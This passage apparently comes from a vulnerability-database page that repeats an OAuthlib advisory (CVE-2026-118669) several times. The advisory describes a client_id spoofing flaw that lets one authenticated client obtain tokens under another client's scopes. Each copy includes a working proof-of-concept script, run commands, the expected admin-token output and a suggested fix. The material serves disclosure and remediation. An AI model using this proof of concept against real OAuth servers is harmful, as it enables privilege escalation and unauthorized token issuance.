status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "dstack",
"purl": "pkg:brew/dstack"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.1"
},
{
"fixed": "0.22.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-dstack-CVE-2026-118669",
"modified": "2026-10-31T08:45:30Z",
"published": "2026-10-31T08:45:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-DUPLICITY-CVE-2026-118669 (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:43 – Updated: 2026-10-31 08:43 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "duplicity",
"purl": "pkg:brew/duplicity"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.13.1"
},
{
"fixed": "0.8.03"
},
{
"introduced": "0.8.05_1"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return 